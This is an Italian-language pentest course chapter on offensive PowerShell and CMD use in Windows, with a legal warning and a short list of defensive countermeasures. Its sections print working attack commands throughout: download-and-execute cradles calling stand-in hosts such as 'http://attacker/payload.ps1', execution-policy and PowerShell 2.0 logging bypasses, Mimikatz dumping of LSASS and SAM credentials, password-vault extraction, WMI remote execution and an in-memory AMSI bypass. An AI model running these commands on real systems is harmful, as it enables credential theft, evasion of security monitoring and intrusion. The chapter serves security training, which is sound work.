Home Capitolo 1

CAPITOLO 01 / 05

PowerShell, Script Shell
e CMD Windows

Dall'automazione legittima al vettore d'attacco più usato nei pentest moderni. PowerShell è oggi lo strumento offensivo per eccellenza nell'ambiente Windows: integrazione nativa con .NET, accesso diretto alle API di sistema e capacità di eludere molti controlli di sicurezza tradizionali.

7 sezioni
Livello: Intermedio / Avanzato
Ambiente: Windows 10/11, Server 2019+
Tag: PowerShell · CMD · AMSI · ETW

§ 1.1

Introduzione a PowerShell

PowerShell è una shell a riga di comando e un linguaggio di scripting sviluppato da Microsoft, costruito sul framework .NET. A differenza del tradizionale CMD, PowerShell lavora con oggetti .NET piuttosto che con stringhe di testo, il che lo rende estremamente potente per l'automazione di sistema e, nel contesto offensivo, per l'accesso diretto alle API Windows.

Dal punto di vista del penetration tester, PowerShell offre vantaggi unici: è preinstallato su tutti i sistemi Windows moderni (da Windows 7 in poi), può eseguire codice direttamente in memoria senza toccare il disco, ha accesso nativo a WMI, COM, .NET e Win32 API, e supporta l'esecuzione remota tramite WinRM/PSRemoting.

Le versioni principali rilevanti per il pentest sono PowerShell 2.0 (legacy, assenza di logging), PowerShell 5.1 (Windows integrato, logging AMSI) e PowerShell 7+ (cross-platform, .NET Core).

# Verifica versione PowerShell installata $PSVersionTable # Policy di esecuzione corrente Get-ExecutionPolicy -List # Bypass esecuzione policy (metodo comune) powershell.exe -ExecutionPolicy Bypass -File script.ps1 powershell.exe -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://...')" # Downgrade a PS 2.0 (nessun AMSI/logging ScriptBlock) powershell.exe -Version 2 -NoProfile -ExecutionPolicy Bypass
⚠ Logging in ambienti moderni

Windows 10/11 e Server 2019+ abilitano per default Script Block Logging (Event ID 4104), Module Logging (4103) e Transcription. L'AMSI (Antimalware Scan Interface) intercetta il contenuto degli script prima dell'esecuzione. Il downgrade a PS 2.0 può aggirare questi controlli.

PowerShell ISE
IDE integrato per sviluppo e debug script PS
🖥️
Windows Terminal
Console moderna con supporto multi-tab e profili PS
🔧
VS Code + PS Extension
Ambiente di sviluppo con IntelliSense per PowerShell

§ 1.2

Script Shell e Automazione

L'automazione in PowerShell si basa su tre concetti fondamentali: cmdlet (comandi nativi nella forma Verbo-Sostantivo), pipeline (concatenazione di oggetti) e moduli (librerie riutilizzabili). Nel contesto offensivo, l'automazione permette di enumerare sistemi, raccogliere credenziali e spostarsi lateralmente in modo rapido e silenzioso.

Gli script PowerShell usati in pentest tipicamente seguono il pattern di living off the land: utilizzano funzionalità native del sistema per evitare il rilevamento, minimizzando la scrittura su disco e sfruttando processi legittimi (powershell.exe, wscript.exe, mshta.exe) come wrapper.

# Struttura base di uno script offensivo param( [string]$Target = "192.168.1.0/24", [switch]$Verbose ) # Funzione di enumerazione host function Invoke-HostEnum { param([string]$Subnet) 1..254 | ForEach-Object { $ip = "$($Subnet.Split('.')[0..2] -join '.').$_" if (Test-Connection -ComputerName $ip -Count 1 -Quiet) { [PSCustomObject]@{ IP = $ip; Status = "UP" } } } } # Esecuzione in memoria (no disco) $code = (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1') Invoke-Expression $code # alias: IEX
# Pipeline avanzata: enumerazione servizi vulnerabili Get-WmiObject -Class Win32_Service | Where-Object { $_.StartMode -eq 'Auto' -and $_.State -ne 'Running' } | Select-Object Name, PathName, StartName | Where-Object { $_.PathName -notlike '*System32*' } | Export-Csv -Path 'C:\Temp\services.csv' -NoTypeInformation

§ 1.3

CMD Shell: Comandi Fondamentali

Il Command Prompt (cmd.exe) rimane rilevante nel pentest perché è disponibile in tutti gli ambienti Windows, è meno monitorato di PowerShell in molte configurazioni legacy, e spesso è l'unico interprete disponibile in sessioni RDP limitate o shell web.

I comandi CMD più utili nel contesto offensivo includono strumenti di enumerazione di rete, gestione utenti e gruppi, interrogazione del registro di sistema e manipolazione di servizi e processi.

🌐
net / net1
Gestione utenti, gruppi, condivisioni, sessioni di rete
🔍
systeminfo
Info complete sul sistema (OS, patch, hardware)
📡
ipconfig / netstat
Configurazione rete e connessioni attive
🗝️
reg query/add
Interrogazione e modifica del registro di sistema
⚙️
sc / tasklist
Controllo servizi e lista processi in esecuzione
📁
wmic
WMI tramite CLI: processi, utenti, software installato
REM Enumerazione rapida post-shell whoami /all net user net localgroup administrators systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix" ipconfig /all netstat -ano tasklist /v REM Ricerca credenziali hardcoded findstr /si password *.txt *.xml *.ini *.config dir /s /b *pass* *cred* *vnc* *.config

§ 1.4

Framework e Collezioni di Script Offensivi

L'ecosistema PowerShell offensivo si è evoluto in una serie di framework e librerie che aggregano centinaia di tecniche testate. Questi strumenti sono ampiamente usati in red team engagement professionali e ben documentati per scopi difensivi.

👁️
PowerView
Enumerazione AD via PowerShell: utenti, GPO, ACL, trust
🔨
PowerSploit
Collection: Recon, Privesc, CodeExecution, Persistence
🦅
Empire (PS)
C2 framework con agenti PowerShell puri
🐚
Nishang
Scripts offensivi PS: reverse shell, escalation, exfil
🔑
PowerSharpPack
Esecuzione di tool C# in memoria tramite PS
💉
Invoke-Obfuscation
Offuscamento di script PS per evasione AV/EDR
# PowerView: enumerazione AD Import-Module .\PowerView.ps1 Get-DomainUser -SPN # Kerberoastable accounts Get-DomainComputer # Tutti i computer nel dominio Find-LocalAdminAccess # Dove siamo local admin Get-DomainGPO | select displayname, gpcfilesyspath # Invoke-Mimikatz in memoria IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.1/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

§ 1.5

Ricognizione, Enumerazione e Scanning con PS

La fase di enumerazione con PowerShell è particolarmente efficace in ambienti Active Directory perché le query LDAP native possono raccogliere enormi quantità di informazioni senza attivare alert di sicurezza (il traffico è indistinguibile da quello legittimo degli admin).

1
Network Discovery
Scan ARP locale, ping sweep, identificazione gateway e DNS. Utilizzare Test-NetConnection per mapping silenzioso delle porte.
2
Host Enumeration
WMI/CIM per raccogliere info su OS, patch level, software installato, servizi configurati e utenti locali.
3
AD Enumeration
LDAP queries per utenti, gruppi, GPO, ACL, trust, SPN. PowerView e ADModule per interrogazioni strutturate.
4
Share & File Discovery
Enumerazione condivisioni di rete (SMB), ricerca file sensibili, credenziali hardcoded, configurazioni di applicazioni.
# Port scanner puro PS function Invoke-PortScan { param($Target, $Ports = (22,80,443,445,3389,5985)) foreach ($port in $Ports) { $result = Test-NetConnection -ComputerName $Target -Port $port -WarningAction SilentlyContinue [PSCustomObject]@{ Port = $port Open = $result.TcpTestSucceeded } } } # Enumerazione condivisioni SMB Invoke-Command -ComputerName "DC01" -ScriptBlock { Get-SmbShare | Select-Object Name, Path, Description }

§ 1.6

Privilege Escalation e Credential Dumping

Il privilege escalation su Windows sfrutta misconfigurazioni di servizi, permessi errati su file e registry, token impersonation e vulnerabilità del kernel. PowerShell permette di automatizzare l'intero processo di discovery e exploitation.

🔓
PowerUp
Ricerca automatica misconfigurazioni per privesc locale
🎭
Mimikatz (PS)
Dump credenziali LSASS: hash NTLM, ticket Kerberos, plaintext
🐝
Seatbelt
Enumerazione sicurezza: credenziali salvate, token, clipboard
🏹
SharpUp
Versione C# di PowerUp per evasione AMSI
# PowerUp: check automatico Invoke-AllChecks # Dump credenziali da LSASS Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"' # Estrazione hash SAM (richiede SYSTEM) Invoke-Mimikatz -Command '"lsadump::sam"' # Token impersonation Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords"' # Ricerca credenziali in password manager e browser [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword(); $_ }
⛔ Contesto legale

Il credential dumping è un'attività illegale se condotta senza autorizzazione scritta. Queste tecniche devono essere applicate esclusivamente in ambienti di lab, CTF o durante engagement di penetration test con contratto firmato.

§ 1.7

Movimento Laterale e Bypass della Sicurezza

Il movimento laterale in ambienti Windows sfrutta protocolli di gestione remota come WinRM, WMI, DCOM e SMB. PowerShell è il vettore ideale perché integra nativamente tutti questi protocolli tramite Invoke-Command, New-PSSession e WMI calls.

Il bypass di AMSI (Antimalware Scan Interface) e ETW (Event Tracing for Windows) è una fase critica per l'esecuzione silenziosa in ambienti monitorati. Esistono diverse tecniche che sfruttano la natura riflessa di PowerShell e la possibilità di patchare in-memory le funzioni di scansione.

# Esecuzione remota via WinRM $cred = Get-Credential Invoke-Command -ComputerName "DC01","WEB01" -Credential $cred -ScriptBlock { whoami; hostname; ipconfig } # Sessione interattiva remota Enter-PSSession -ComputerName "SERVER01" -Credential $cred # Esecuzione tramite WMI (alternativa a WinRM) Invoke-WmiMethod -Class Win32_Process -Name Create ` -ArgumentList "powershell -ep bypass -c IEX(...)" ` -ComputerName "TARGET" -Credential $cred # AMSI Bypass (patch in memoria) $a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} $b = $a.GetFields('NonPublic,Static') | Where-Object {$_.Name -like "*Context"} $b.SetValue($null, [IntPtr]0)
💡 Contromisure difensive

Le organizzazioni possono mitigare queste tecniche con: Constrained Language Mode (CLM), JEA (Just Enough Administration), Windows Defender Credential Guard, Protected Users Security Group e abilitando tutte le forme di logging PowerShell.

Prossimo capitolo
Active Directory e GOAD